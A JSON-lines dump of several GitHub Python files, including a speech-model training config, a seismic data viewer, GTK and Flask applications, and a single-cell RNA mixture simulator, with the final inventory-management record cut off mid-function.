+{"seq_id":"73409624007","text":"from __future__ import annotations\n\nimport logging\n\nimport torch\nimport torch.nn as nn\nfrom tqdm import tqdm\n\nfrom s3prl import Container, field\nfrom s3prl.base.logdata import Logs\nfrom s3prl.corpus.voxceleb1sv import voxceleb1_for_sv\nfrom s3prl.dataset.base import DataLoader\nfrom s3prl.dataset.speaker_verification_pipe import SpeakerVerificationPipe\nfrom s3prl.nn.speaker_model import SuperbXvector\nfrom s3prl.sampler import FixedBatchSizeBatchSampler\nfrom s3prl.task.speaker_verification_task import SpeakerVerification\nfrom s3prl.util.configuration import default_cfg\nfrom s3prl.util.workspace import Workspace\n\nfrom .base import SuperbProblem\n\nlogger = logging.getLogger(__name__)\n\n\nEFFECTS = [\n    [\"channels\", \"1\"],\n    [\"rate\", \"16000\"],\n    [\"gain\", \"-3.0\"],\n    [\"silence\", \"1\", \"0.1\", \"0.1%\", \"-1\", \"0.1\", \"0.1%\"],\n]\n\n\nclass SuperbSV(SuperbProblem):\n    \"\"\"\n    Superb Speaker Verification problem\n    \"\"\"\n\n    @default_cfg(\n        **SuperbProblem.setup.default_except(\n            corpus=dict(\n                CLS=voxceleb1_for_sv,\n                dataset_root=\"???\",\n            ),\n            train_datapipe=dict(\n                CLS=SpeakerVerificationPipe,\n                random_crop_secs=8.0,\n                sox_effects=EFFECTS,\n            ),\n            train_sampler=dict(\n                CLS=FixedBatchSizeBatchSampler,\n                batch_size=10,\n                shuffle=True,\n            ),\n            valid_datapipe=dict(\n                CLS=SpeakerVerificationPipe,\n                sox_effects=EFFECTS,\n            ),\n            valid_sampler=dict(\n                CLS=FixedBatchSizeBatchSampler,\n                batch_size=1,\n            ),\n            test_datapipe=dict(\n                CLS=SpeakerVerificationPipe,\n                sox_effects=EFFECTS,\n            ),\n            test_sampler=dict(\n                CLS=FixedBatchSizeBatchSampler,\n                batch_size=1,\n            ),\n            downstream=dict(\n                CLS=SuperbXvector,\n            ),\n            task=dict(\n                CLS=SpeakerVerification,\n                loss_type=\"amsoftmax\",\n                loss_cfg=dict(\n                    margin=0.4,\n                    scale=30,\n                ),\n            ),\n        )\n    )\n    @classmethod\n    def setup(cls, **cfg):\n        \"\"\"\n        This setups the ASV problem, containing train/valid/test datasets & samplers and a task object\n        \"\"\"\n        super().setup(**cfg)\n\n    @default_cfg(\n        **SuperbProblem.train.default_except(\n            optimizer=dict(\n                CLS=\"torch.optim.AdamW\",\n                lr=1.0e-4,\n            ),\n            trainer=dict(\n                total_steps=200000,\n                log_step=500,\n                eval_step=field(1e10, \"ASV do not use validation set\"),\n                save_step=20000,\n                gradient_clipping=1.0e3,\n                gradient_accumulate_steps=5,\n                valid_metric=\"eer\",\n                valid_higher_better=False,\n                max_keep=10,\n            ),\n        )\n    )\n    @classmethod\n    def train(cls, **cfg):\n        \"\"\"\n        Train the setup problem with the train/valid datasets & samplers and the task object\n        \"\"\"\n        super().train(**cfg)\n\n    @default_cfg(\n        **SuperbProblem.inference.default_except(\n            inference_steps=field(\n                [\n                    20000,\n                    40000,\n                    60000,\n                    80000,\n                    100000,\n                    120000,\n                    140000,\n                    160000,\n                    180000,\n                    200000,\n                ],\n                \"The steps used for inference\\n\",\n                \"egs: [900, 1000] - use the checkpoint of 90 and 100 steps for inference\",\n            )\n        )\n    )\n    @classmethod\n    def inference(cls, **cfg):\n        cfg = Container(cfg)\n\n        workspace = Workspace(cfg.workspace)\n        dataset = workspace[f\"{cfg.split_name}_dataset\"]\n        sampler = workspace[f\"{cfg.split_name}_sampler\"]\n        dataloader = DataLoader(dataset, sampler, num_workers=cfg.n_jobs)\n\n        with torch.no_grad():\n            all_eers = []\n            for step in cfg.inference_steps:\n                step_dir = workspace / f\"step-{step}\"\n                task = step_dir[\"task\"]\n                task = task.to(cfg.device)\n                task.eval()\n\n                test_results = []\n                for batch_idx, batch in enumerate(\n                    tqdm(dataloader, desc=\"Test\", total=len(dataloader))\n                ):\n                    batch = batch.to(cfg.device)\n                    result = task.test_step(**batch)\n                    test_results.append(result.cacheable())\n\n                logs: Logs = task.test_reduction(test_results).logs\n                logger.info(f\"Step {step}\")\n\n                metrics = {key: value for key, value in logs.scalars()}\n                step_dir.put(metrics, \"test_metrics\", \"yaml\")\n                for key, value in metrics.items():\n                    logger.info(f\"{key}: {value}\")\n                all_eers.append(metrics[\"EER\"])\n\n            workspace.put({\"minEER\": min(all_eers)}, \"test_metrics\", \"yaml\")\n\n    @default_cfg(\n        **SuperbProblem.run.default_except(\n            stages=[\"setup\", \"train\", \"inference\"],\n            start_stage=\"setup\",\n            final_stage=\"inference\",\n            setup=setup.default_cfg.deselect(\"workspace\", \"resume\", \"dryrun\"),\n            train=train.default_cfg.deselect(\"workspace\", \"resume\", \"dryrun\"),\n            inference=inference.default_cfg.deselect(\"workspace\", \"resume\", \"dryrun\"),\n        )\n    )\n    @classmethod\n    def run(cls, **cfg):\n        super().run(**cfg)\n","repo_name":"s3prl/s3prl","sub_path":"s3prl/problem/superb/sv.py","file_name":"sv.py","file_ext":"py","file_size_in_byte":5739,"program_lang":"python","lang":"en","doc_type":"code","stars":1943,"dataset":"github-code","pt":"16"}
+{"seq_id":"34754740919","text":"import sys\nimport os\n\nfrom typing import Dict, Tuple, List, NamedTuple\n\nimport numpy as np\n\nimport pyqtgraph as pg\n\nimport PyQt5\nfrom PyQt5 import QtCore\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.uic import *\n\nfrom seiscore import BinaryFile\nfrom seiscore import Spectrogram\n\nfrom config import ConfigFile\nfrom dbase import SqliteDbase\n\n\ndef get_lib_path() -> list:\n    return [os.path.join(os.path.dirname(PyQt5.__file__), 'Qt5', 'plugins')]\n\n\nclass FormData(NamedTuple):\n    filename: str\n    component: str\n    resample_freq: int\n    min_frequency: float\n    max_frequency: float\n    conclusion: str\n\n\nclass MainWindow:\n    def __init__(self, database: SqliteDbase):\n        self.__app = QApplication(sys.argv)\n        self.__window = QMainWindow()\n        self.__dbase = database\n\n        ui_path = 'SeisDefectViewer.ui'\n        self.__ui = loadUi(ui_path, self.__window)\n        self.__ui.cbFilesList.currentTextChanged.connect(self.show_signal_data)\n        self.__ui.cbComponentList.currentTextChanged.connect(self.show_signal_data)\n        self.__ui.bSave.clicked.connect(self.save_checking_conclusion)\n        self.__ui.sbFMin.valueChanged.connect(self.set_spectrogram_y_limits)\n        self.__ui.sbFMax.valueChanged.connect(self.set_spectrogram_y_limits)\n\n        self.__files_info = None\n        self.__spectrogram_plot = None\n        self.update_lists()\n\n        self.show_signal_data()\n\n        self.screen_center()\n        self.__window.show()\n        self.__app.exec()\n\n    @property\n    def window(self):\n        return self.__window\n\n    @property\n    def ui(self):\n        return self.__ui\n\n    @property\n    def dbase(self) -> SqliteDbase:\n        return self.__dbase\n\n    @property\n    def form_data(self) -> FormData:\n        filename = self.ui.cbFilesList.currentText()\n        component = self.ui.cbComponentList.currentText()\n        resample_freq = self.ui.sbResampleFreq.value()\n        f_min = self.ui.sbFMin.value()\n        f_max = self.ui.sbFMax.value()\n        conclusion = self.ui.cbConclusion.currentText()\n        return FormData(filename, component, resample_freq, f_min, f_max,\n                        conclusion)\n\n    def get_files_list(self) -> Dict[str, Tuple[int, str, List[str]]]:\n        records = self.dbase.get_seismic_files_for_checking()\n        transform_data = dict()\n        for rec in records:\n            path = rec[1]\n            filename = os.path.basename(path)\n            transform_data[filename] = rec\n        return transform_data\n\n    def screen_center(self):\n        frame_geom = self.window.frameGeometry()\n        screen = QApplication.desktop().screenNumber(QApplication.desktop().cursor().pos())\n        center_point = QApplication.desktop().screenGeometry(screen).center()\n        frame_geom.moveCenter(center_point)\n        self.window.move(frame_geom.topLeft())\n\n    def set_files_list(self):\n        self.ui.cbFilesList.clear()\n        self.ui.cbFilesList.addItems(list(self.__files_info.keys()))\n\n    def get_current_file_info(self) -> Tuple[int, str, List[str]]:\n        return self.__files_info[self.form_data.filename]\n\n    def set_components_list(self):\n        self.ui.cbComponentList.clear()\n\n        file_info = self.get_current_file_info()\n        components = file_info[-1]\n        self.ui.cbComponentList.addItems(components)\n\n    def set_spectrogram_y_limits(self):\n        if not self.__spectrogram_plot:\n            return\n        f_min = self.form_data.min_frequency\n        f_max = self.form_data.max_frequency\n        self.__spectrogram_plot.setRange(yRange=(f_min, f_max))\n\n    def get_current_component(self) -> str:\n        return self.form_data.component\n\n    def get_signal(self) -> Tuple[np.ndarray, int]:\n        _, path, _ = self.get_current_file_info()\n        component = self.get_current_component()\n        resample_freq = self.form_data.resample_freq\n\n        bin_data = BinaryFile(path, use_avg_values=True,\n                              resample_frequency=resample_freq)\n        return bin_data.read_signal(component), bin_data.resample_frequency\n\n    def plot_signal(self, signal: np.ndarray, frequency: int):\n        widget = self.ui.gSignal\n        widget.clear()\n        time_scale = np.arange(0, signal.shape[0], 1) / frequency\n        widget.plot(time_scale, signal, pen=(255, 0, 0))\n\n    def plot_spectrogram(self, signal: np.ndarray, frequency: int):\n        plot = self.ui.gSpectrogram\n        plot.clear()\n\n        spectrogram = Spectrogram(signal, frequency)\n        sp_data = spectrogram.sp_data\n\n        if sp_data.frequencies.shape[0] == 0:\n            return\n\n        time, frequencies = sp_data.times, sp_data.frequencies\n        amplitudes = sp_data.amplitudes\n\n        amplitudes = 20 * np.log10(abs(amplitudes))\n        amplitudes = amplitudes.T\n\n        img = pg.ImageItem()\n        img.setImage(amplitudes, xvals=time, yvals=frequencies)\n\n        dx = (time[-1] - time[0]) / time.shape[0]\n        dy = (frequencies[-1] - frequencies[0]) / frequencies.shape[0]\n        img.scale(dx, dy)\n\n        hist = pg.HistogramLUTItem()\n        min_val, max_val = spectrogram.scale_limits()\n        hist.setLevels(min_val, max_val)\n        hist.gradient.restoreState(\n            {'mode': 'rgb',\n             'ticks': [\n                 (0.0, (153, 102, 255, 255)),\n                 (0.2, (0, 0, 255, 255)),\n                 (0.4, (0, 255, 0, 255)),\n                 (0.6, (255, 255, 0, 255)),\n                 (0.8, (255, 102, 0, 255)),\n                 (1.0, (255, 0, 0, 255))]\n             })\n        hist.setImageItem(img)\n        plot.addItem(img)\n        self.__spectrogram_plot = plot\n        self.set_spectrogram_y_limits()\n\n    def show_signal_data(self):\n        if not self.get_current_component():\n            return\n        try:\n            signal, frequency = self.get_signal()\n        except KeyError:\n            return\n        self.plot_signal(signal, frequency)\n        self.plot_spectrogram(signal, frequency)\n\n    def save_checking_conclusion(self):\n        filename = self.ui.cbFilesList.currentText()\n        component = self.ui.cbComponentList.currentText()\n        conclusion = self.ui.cbConclusion.currentText()\n        file_id = self.__files_info[filename][0]\n        self.dbase.update_seis_file_checking_status(file_id, component, conclusion)\n        self.update_lists()\n\n    def update_lists(self):\n        self.__files_info = self.get_files_list()\n        if not self.__files_info:\n            self.ui.statusBar.showMessage('Все файлы уже отбракованы')\n            return\n\n        self.set_files_list()\n        self.set_components_list()\n\n\ndef run():\n    QtCore.QCoreApplication.setLibraryPaths(get_lib_path())\n    MainWindow(db)\n\n\nif __name__ == '__main__':\n    # storage_folder = os.getenv('DATA_PATH')\n    conf_file = '/media/michael/Data/Projects/GraviSeismicComparation' \\\n                '/ZapolarnoeDeposit/2021/config.json'\n    config = ConfigFile(conf_file)\n    db = SqliteDbase(config.export_root)\n    run()\n","repo_name":"MikkoArtik/FileSorter","sub_path":"ui/seis_defect_viewer.py","file_name":"seis_defect_viewer.py","file_ext":"py","file_size_in_byte":6975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"34111841580","text":"#!/usr/bin/env python3\n\nimport os\n\nimport gi\ngi.require_version('Gtk', '3.0')\n\nfrom gi.repository import Gtk\nfrom gi.repository import Gdk\n\nfrom src.Config import ConfigManager\nfrom src.Places import ICONS_FOLDER\nfrom src.Places import CSS_FOLDER\n\nfrom .browser.BrowserCtrl import BrowserCtrl\nfrom .tagger.TaggerCtrl import TaggerCtrl\nfrom .mover.MoverCtrl import MoverCtrl\nfrom .editor.EditorCtrl import EditorCtrl\n\nclass ServiceManager:\n\n    def __init__(self, app):\n        self.app = app\n\n    def getApplication(self):\n        return self.app\n\nclass BaseApp(Gtk.Application):\n    app_id = \"fdibaldassarre.tagmanager.application\"\n    name = \"Application\"\n\n    def __init__(self):\n        super().__init__(application_id=self.app_id)\n        Gdk.set_program_class(self.name)\n        self.services = ServiceManager(self)\n        self._loadCssProvider()\n        self._loadIcon()\n        self.connect(\"activate\", self.do_activate)\n\n    def _loadIcon(self):\n        self.icon_path = os.path.join(ConfigManager.getOverridesFolder(), \"icon.png\")\n        if not os.path.exists(self.icon_path):\n            self.icon_path = os.path.join(ICONS_FOLDER, \"icon.png\")\n\n    def _loadCssProvider(self):\n        display = Gdk.Display.get_default()\n        screen = Gdk.Display.get_default_screen(display)\n        provider = Gtk.CssProvider()\n        Gtk.StyleContext.add_provider_for_screen(screen, provider, Gtk.STYLE_PROVIDER_PRIORITY_APPLICATION)\n        # TODO: load file\n        #css_file = os.path.join(CSS_FOLDER, 'TagManager.css')\n        #provider.load_from_path(css_file)\n\n\nclass TagManagerApp(BaseApp):\n    app_id = \"fdibaldassarre.tagmanager.browser\"\n    name = \"Tag Manager\"\n\n    def __init__(self):\n        super().__init__()\n        self.browser = BrowserCtrl(self.services)\n\n    def do_activate(self, data=None):\n        self.browser.start()\n\n    def openTagger(self, file):\n        '''\n            Open the tagger for a file.\n\n            :param dao.entities.common.IFile file: File to tag\n            :return: Tagger controller\n            :rtype: ui.tagger.TaggerCtrl\n        '''\n        self.tagger = TaggerCtrl(self.services, file)\n        self.tagger.start()\n        return self.tagger\n\n\nclass TaggerApp(BaseApp):\n    app_id = \"fdibaldassarre.tagmanager.tag\"\n    name = \"Tag Manager - Tag\"\n\n    def __init__(self, file):\n        super().__init__()\n        self.tagger = TaggerCtrl(self.services, file)\n\n    def do_activate(self, data=None):\n        self.tagger.start()\n\nclass MoverApp(BaseApp):\n    app_id = \"fdibaldassarre.tagmanager.move\"\n    name = \"Tag Manager - Move\"\n\n    def __init__(self, path):\n        '''\n            Initialize.\n\n            :param str path: Path of the file to move to the root folder\n        '''\n        super().__init__()\n        self.mover = MoverCtrl(self.services, path)\n\n    def do_activate(self, data=None):\n        self.mover.start()\n\n    def openTagger(self, file):\n        '''\n            Open the tagger for a file.\n\n            :param dao.entities.common.IFile file: File to tag\n            :return: Tagger controller\n            :rtype: ui.tagger.TaggerCtrl\n        '''\n        self.tagger = TaggerCtrl(self.services, file)\n        self.tagger.start()\n        return self.tagger\n\n\nclass EditorApp(BaseApp):\n    app_id = \"fdibaldassarre.tagmanager.editor\"\n    name = \"Tag Editor\"\n\n    def __init__(self):\n        super().__init__()\n        self.editor = EditorCtrl(self.services)\n\n    def do_activate(self, data=None):\n        self.editor.start()\n","repo_name":"fdibaldassarre/tag-manager","sub_path":"src/ui/Application.py","file_name":"Application.py","file_ext":"py","file_size_in_byte":3496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"2030613752","text":"from datetime import timedelta\n\ndef todelta(time):\n\tvalue = float(time[:-1])\n\tdtype = time[-1]\n\tif dtype == \"d\":\n\t\treturn timedelta(days=value)\n\tif dtype == \"h\":\n\t\treturn timedelta(hours=value)\n\tif dtype == \"m\":\n\t\treturn timedelta(minutes=value)\n\tif dtype == \"s\":\n\t\treturn timedelta(seconds=value)\n","repo_name":"BlackHawk94/Bot","sub_path":"utils/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"13124084984","text":"from app import app\r\nfrom flask import Flask, jsonify, request, render_template, url_for, flash, redirect\r\nfrom werkzeug.utils import secure_filename\r\nimport io\r\nimport string\r\nimport time\r\nimport os\r\nimport numpy as np\r\nfrom PIL import Image\r\nimport sys\r\nimport pandas as pd\r\nfrom pandas_profiling import ProfileReport\r\nimport warnings\r\nfrom flask import send_file\r\n\r\n# regression files\r\nfrom reg_data_validation import data_check as reg_dc\r\nimport reg_driver as reg_driver\r\nimport regression_results as regres\r\n\r\n# classification files\r\nfrom cla_data_validation import data_check as cla_dc\r\nimport cla_driver as cla_driver\r\nfrom cla_predict import predict_function\r\n\r\nwarnings.filterwarnings(\"ignore\")\r\n\r\n# Global variables  \r\nproblemType = \"\"\r\ndf = \"\"\r\ndep_col = \"\"\r\ndc_obj = \"\"\r\ndproutput = \"\"\r\ndpcoutput = \"\"\r\nbestmodel = \"\"\r\npredict_df = \"\"\r\n\r\n\r\n@app.route(\"/\")\r\ndef upload_form():\r\n    return render_template(\"fileupload.html\")\r\n\r\n\r\n@app.route(\"/uploads\", methods=[\"GET\", \"POST\"])\r\ndef upload_file():\r\n    global problemType, df, dc_obj\r\n    if request.method == \"POST\" or request.method == \"GET\":\r\n        # check if the post request has the file part\r\n        if \"file\" not in request.files:\r\n            flash(\"No file part\")\r\n            return redirect(request.url)\r\n        file = request.files[\"file\"]\r\n        if file.filename == \"\":\r\n            flash(\"No file selected for uploading\")\r\n            return redirect(request.url)\r\n        if file:  # and allowed_file(file.filename):\r\n            filename = secure_filename(file.filename)\r\n            filepath = os.path.join(app.config[\"UPLOAD_FOLDER\"], filename)\r\n            file.save(filepath)\r\n            flash(\"File successfully uploaded\")\r\n            flash(\"Conducting data validation check\")\r\n            \r\n            if problemType ==\"Regression\":\r\n                dc_obj = reg_dc(filepath)\r\n            else:\r\n                dc_obj = cla_dc(filepath)\r\n            \r\n            fileCheck = dc_obj.identify_file()\r\n            if fileCheck == \"None\":\r\n                flash(\"\\nFile type is supported\")\r\n            else:\r\n                flash(\"Error: \", fileCheck)\r\n                flash(\"\\nSupported file types: - [csv, tsv, xlsx, json]\")\r\n                sys.exit()\r\n\r\n            df = dc_obj.file_to_dataframe()\r\n            dataValidation = dc_obj.validation_check(df)\r\n            if dataValidation == \"None\":\r\n                flash(\"\\nData format is supported\")\r\n            else:\r\n                sys.exit(dataValidation)\r\n            html = df.head().to_html(classes=\"table table-hover table-dark\")\r\n\r\n            # write html to file\r\n            text_file = open(\r\n                \"/Users/vishalkundar/Downloads/Website/app/templates/index.html\", \"w\"\r\n            )\r\n            text_file.write(html)\r\n            text_file.close()\r\n            return render_template(\"fileupload.html\")\r\n\r\n\r\n@app.route(\"/display_df\", methods=[\"GET\", \"POST\"])\r\ndef display_df():\r\n    if request.method == \"POST\" or request.method == \"GET\":\r\n        return render_template(\"table.html\")\r\n\r\n\r\n@app.route(\"/results\", methods=[\"GET\", \"POST\"])\r\ndef display_results():\r\n    global df, problemType, dc_obj, dproutput, dpcoutput, bestmodel\r\n    if request.method == \"POST\" or request.method == \"GET\":\r\n        dep_col = str(request.form.get(\"depvar\"))\r\n        problemType = dc_obj.identify_problem(df, dep_col.strip())\r\n        if problemType != \"Regression\" and problemType != \"Classification\":\r\n            sys.exit(problemType)\r\n\r\n        if problemType == \"Regression\":\r\n            dproutput, bestmodel = reg_driver.runNoCodeML(\r\n                df, dep_col\r\n            )\r\n        else:\r\n            dpcoutput, bestmodel = cla_driver.runNoCodeML(\r\n                df, dep_col\r\n            )\r\n\r\n        if df.shape[0] > 2000:\r\n            profile = ProfileReport(df, minimal=True)\r\n        else:\r\n            profile = ProfileReport(df)\r\n        profile.to_file(\r\n            \"/Users/vishalkundar/Downloads/Website/app/templates/user_report.html\"\r\n        )\r\n        return render_template(\"Final_page.html\")\r\n\r\n\r\n@app.route(\"/user_report\", methods=[\"GET\", \"POST\"])\r\ndef display_user_report():\r\n    return render_template(\"user_report.html\")\r\n\r\n\r\n@app.route(\"/predict\", methods=[\"GET\", \"POST\"])\r\ndef display_userReport():\r\n    global problemType, dproutput, dpcoutput, bestmodel, predict_df\r\n    if request.method == \"POST\" or request.method == \"GET\":\r\n        # check if the post request has the file part\r\n        if \"file\" not in request.files:\r\n            flash(\"No file part\")\r\n            return redirect(request.url)\r\n        file = request.files[\"file\"]\r\n        if file.filename == \"\":\r\n            flash(\"No file selected for uploading\")\r\n            return redirect(request.url)\r\n        if file:  # and allowed_file(file.filename):\r\n            filename = secure_filename(file.filename)\r\n            filepath = os.path.join(app.config[\"UPLOAD_FOLDER\"], filename)\r\n            file.save(filepath)\r\n            flash(\"File successfully uploaded\")\r\n            flash(\"Conducting data validation check\")\r\n            \r\n            if problemType == \"Regresion\":\r\n                dc_obj = reg_dc(filepath)\r\n            else:\r\n                dc_obj = cla_dc(filepath)\r\n                \r\n            fileCheck = dc_obj.identify_file()\r\n            if fileCheck == \"None\":\r\n                flash(\"\\nFile type is supported\")\r\n            else:\r\n                flash(\"Error: \", fileCheck)\r\n                flash(\"\\nSupported file types: - [csv, tsv, xlsx, json]\")\r\n                sys.exit()\r\n\r\n            df = dc_obj.file_to_dataframe()\r\n\r\n            # Predict based on problem Type\r\n            if problemType == \"Regression\":\r\n                result_df = regres.predict_function(dproutput, bestmodel[0], df)\r\n           \r\n            else:\r\n                i = 0 \r\n                for key,val in bestmodel.items():\r\n                    if i>=1:\r\n                        break\r\n                    else:\r\n                        modeln = key\r\n                        modeld = val\r\n                    i+=1\r\n                \r\n                result_df = predict_function(dpcoutput, modeln,modeld, df)\r\n                \r\n\r\n            # Saving\r\n            html = result_df.head().to_html(classes=\"table table-dark table-striped\")\r\n\r\n            # write html to file\r\n            text_file = open(\r\n                \"/Users/vishalkundar/Downloads/Website/app/templates/predtable.html\",\r\n                \"w\",\r\n            )\r\n            text_file.write(html)\r\n            text_file.close()\r\n            return render_template(\"predict.html\")\r\n\r\n\r\n@app.route(\"/download_results\", methods=[\"GET\", \"POST\"])\r\ndef download_results_ascsv():\r\n    path = \"/Users/vishalkundar/Downloads/Website/predicted_data/results.csv\"\r\n    return send_file(path, as_attachment=True)\r\n","repo_name":"vedantbarbhaya/NoCodeML","sub_path":"Website/app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6837,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"23953594582","text":"import sys\nimport getopt\nimport pandas as pd\nimport numpy as np\nimport random\nfrom sklearn.preprocessing import normalize\n\ndef readClusters():\n    fn=open(\"data/scRNA/Filtered_clusters.txt\")\n    clusters={}\n    for line in fn:\n        info=line.rstrip().split()\n        clusters[info[0][-1]]=[int(x) for x in info[1:]]\n\n    return clusters\ndef produce_mixture(out_dir, num_sample):\n\n    expression_data=pd.read_excel(\"data/scRNA/formatted_expression.xlsx\")\n    num_genes=expression_data.values.shape[0]\n    gene_list=expression_data.loc[:,\"geneSymbol\"].values\n    clusterMembers=readClusters()\n    num_clusters=len(clusterMembers)\n    cluster_sizes=np.zeros(num_clusters)\n    for key, value in clusterMembers.items():\n        cluster_sizes[int(key)]=len(value)\n    #start with composistino of raw counts\n    #indicates how many barcodes to select from each cluster\n    compositions=np.zeros((num_sample,num_clusters),dtype=np.int)\n\n    expressions=np.zeros((num_sample,num_genes))\n    for i in range(num_sample):\n        ingredients=[]\n        for j in range(num_clusters):\n            compositions[i][j]=random.randint(1,cluster_sizes[j])\n            #for each sample, fetch the barcodes indices to be mixed \n            sample_from_cluster=random.sample(clusterMembers[str(j)],compositions[i][j])\n            ingredients.extend([expression_data.loc[:,x].values for x in sample_from_cluster])   #add this list of arrays\n        #mix/average all the ingredients (expression from each barcodes selected)\n        ingredients=np.array(ingredients)\n        sample_expression=np.mean(ingredients,axis=0)\n        expressions[i]=sample_expression\n\n    #convert raw composition into ratios\n    normed_composition = normalize(compositions, axis=1, norm='l1')\n\n\n    #calculate ground truth\n    cluster_means=np.zeros((num_clusters,num_genes))\n    for j in range(num_clusters):\n        all_members=clusterMembers[str(j)]\n        all_member_expression=np.array([expression_data.loc[:,x].values for x in all_members])\n        cluster_mean=np.mean(all_member_expression,axis=0)\n        cluster_means[j]=cluster_mean\n    \n    #prepare output dataframs\n    normed_composition=normed_composition.T  #(#cluster, #sample)\n    out_compos=pd.DataFrame(normed_composition, columns=[\"sample \"+str(i+1) for i in range(num_sample)])\n    out_compos.insert(0,'cluster',[\"cluster\"+str(j) for j in range(num_clusters)])\n    compo_fn=out_dir+\"sc_composition.xlsx\"\n\n    expressions=expressions.T\n    out_mixture=pd.DataFrame(expressions, columns=[\"sample \"+str(i+1) for i in range(num_sample)])\n    out_mixture.insert(0,'geneSymbol',gene_list)\n    mixture_fn=out_dir+\"sc_mixture.xlsx\"\n\n    cluster_means=cluster_means.T\n    out_clusterMeans=pd.DataFrame(cluster_means,columns=[\"cluster\"+str(j) for j in range(num_clusters)])\n    out_clusterMeans.insert(0,\"geneSymbol\",gene_list)\n    clusterMean_fn=out_dir+\"sc_ClusterMeans.xlsx\"\n\n\n    #output files: composistion, ground truth (cluster means), mixture\n    with pd.ExcelWriter(compo_fn) as writer:\n        out_compos.to_excel(writer, index=False)\n    with pd.ExcelWriter(mixture_fn) as writer:\n        out_mixture.to_excel(writer, index=False)\n    with pd.ExcelWriter(clusterMean_fn) as writer:\n        out_clusterMeans.to_excel(writer, index=False)\n    \n\ndef main(argv):  \n    \n    out_dir = None\n    num_sample=0\n\n    try:\n        opts, args = getopt.getopt(argv,\"hs:o:\")\n    except getopt.GetoptError:\n        print('mix_sc.py -o <out_directory> -s num_samples')\n        sys.exit(2)\n    for opt, arg in opts:\n  \n        if opt == '-h':\n            print('mix_sc.py -o <out_directory> -s num_samples')\n            sys.exit()\n        elif opt==\"-o\":\n            out_dir = arg\n        elif opt==\"-s\":\n\n            num_sample=int(arg)\n        \n\n\n    \n    # print(\"Generate synthetic mixture from single cell RNA data...\")\n    produce_mixture(out_dir, num_sample)\n\n\n\n\nif __name__ == \"__main__\":\n   main(sys.argv[1:])","repo_name":"nuoliu/CellDeconv","sub_path":"code/mix_sc.py","file_name":"mix_sc.py","file_ext":"py","file_size_in_byte":3932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"41774220601","text":"import random\n\nfrom flask import (\n    Blueprint,\n    redirect,\n    render_template,\n    request,\n    url_for,\n    send_from_directory\n)\nfrom flask_login import login_required\nfrom sqlalchemy import distinct\n\nfrom printing.utilities import *\n\ninv = Blueprint(\"inventory\", __name__, url_prefix=\"/inventory\")\n\n\n@inv.route(\"/\")\n@login_required\ndef inventory():\n    inventory = db.session.query(Project).filter(Project.customerfk == 2).filter(Project.active).all()\n    context = {\"user\": User, \"inventory\": inventory, \"action\": 1}\n    return render_template(\"app/inventory/inventory.html\", **context)\n\n\n@inv.route(\"/edit/<id>\", methods=[\"GET\", \"POST\"])\n@login_required\ndef inventory_edit(id):\n    inventory = db.session.query(Project).filter(Project.id == id).first()\n\n    if request.method == \"POST\":\n        objectids = inventory.objectfk\n        for i in range(1, 8):\n            gcodename = f\"gcode{i}\"\n            qtyname = f\"qty{i}\"\n            if request.files[gcodename].filename != \"\":\n                # Save uploaded file\n                gcodefile = invgcode.save(request.files[gcodename])\n\n                # process file for time and materials\n                basedir = os.path.abspath(os.path.dirname(__file__))\n                filepath = os.path.join(basedir, \"uploads\", gcodefile)\n\n                time_in_h, weight_in_kg = calc_time_length(filepath, request.form.get(\"filament\"))\n\n                qty = request.form.get(qtyname)\n                \n                # save file to db\n                newgcode = Printobject(\n                    file=gcodefile,\n                    h_printtime=time_in_h, \n                    kg_weight=weight_in_kg,\n                    qtyperprint = qty,\n                    projectid = invrentory.id,\n                    )\n                db.session.add(newgcode)\n                db.session.commit()\n                db.session.refresh(newgcode)\n                objectids.append(newgcode.id)\n\n        newval = request.form.to_dict()\n        inventory.project_name = newval[\"name\"]\n        inventory.customerfk = 2\n        inventory.printerfk = int(newval[\"printer\"])\n        inventory.filamentfk = int(newval[\"filament\"])\n        inventory.objectfk = objectids\n        inventory.shippingfk = 3\n        inventory.employeefk = 1\n        inventory.packaging = float(newval[\"packaging\"])\n        inventory.advertising = float(newval[\"advertising\"])\n        inventory.rent = float(newval[\"rent\"])\n        inventory.extrafees = float(newval[\"other\"])\n        inventory.active = 1\n        inventory.threshold = int(newval[\"threshold\"])\n        inventory.sale_price = float(newval[\"sale_price\"])\n        inventory.catagory = str(newval[\"catagory\"])\n        db.session.commit()\n\n        return redirect(url_for(\"inventory.inventory_details\", id=id))\n\n    printers = db.session.query(Printer).filter(Printer.active).all()\n    filaments = db.session.query(Filament).filter(Filament.active).all()\n    objfks = inventory.objectfk\n    objects = db.session.query(Printobject).filter(Printobject.id.in_(objfks)).all()\n\n    context = {\n        \"user\": User,\n        \"inventory\": inventory,\n        \"printers\": printers,\n        \"filaments\": filaments,\n        \"objects\": objects,\n    }\n    return render_template(\"app/inventory/inventory_edit.html\", **context)\n\n\n@inv.route(\"/adjust\", methods=[\"GET\", \"POST\"])\n@login_required\ndef inventory_adjust():\n    inventory = db.session.query(Project.id,\n                                 Project.project_name,\n                                 Project.threshold,\n                                 Project.current_quantity,\n                                 Printobject.qtyperprint,\n                                 Printobject.h_printtime,\n                                 Printobject.file\n                                 )  .join(Printobject).filter(Project.customerfk == 2).all()\n\n    if request.method == \"POST\":\n        projectid = request.form.get(\"item\")\n        newadj = Adjustment_log(\n            projectfk=projectid,\n            adjustment=request.form.get(\"adjustment\"),\n            description=request.form.get(\"desc\"),\n            time_created=datetime.datetime.now(),\n        )\n        db.session.add(newadj)\n        \n        for inv in inventory:\n            if inv.id == int(projectid):\n                qty = int(inv.current_quantity)\n                inv.current_quantity = int(qty) + int(request.form.get(\"adjustment\"))\n        \n        db.session.commit()\n\n        return redirect(url_for(\"inventory.inventory\"))\n\n    context = {\"user\": User, \"inventory\": inventory}\n    return render_template(\"app/inventory/inventory_adjust.html\", **context)\n\n\n@inv.route(\"/new\", methods=[\"GET\", \"POST\"])\n@login_required\ndef 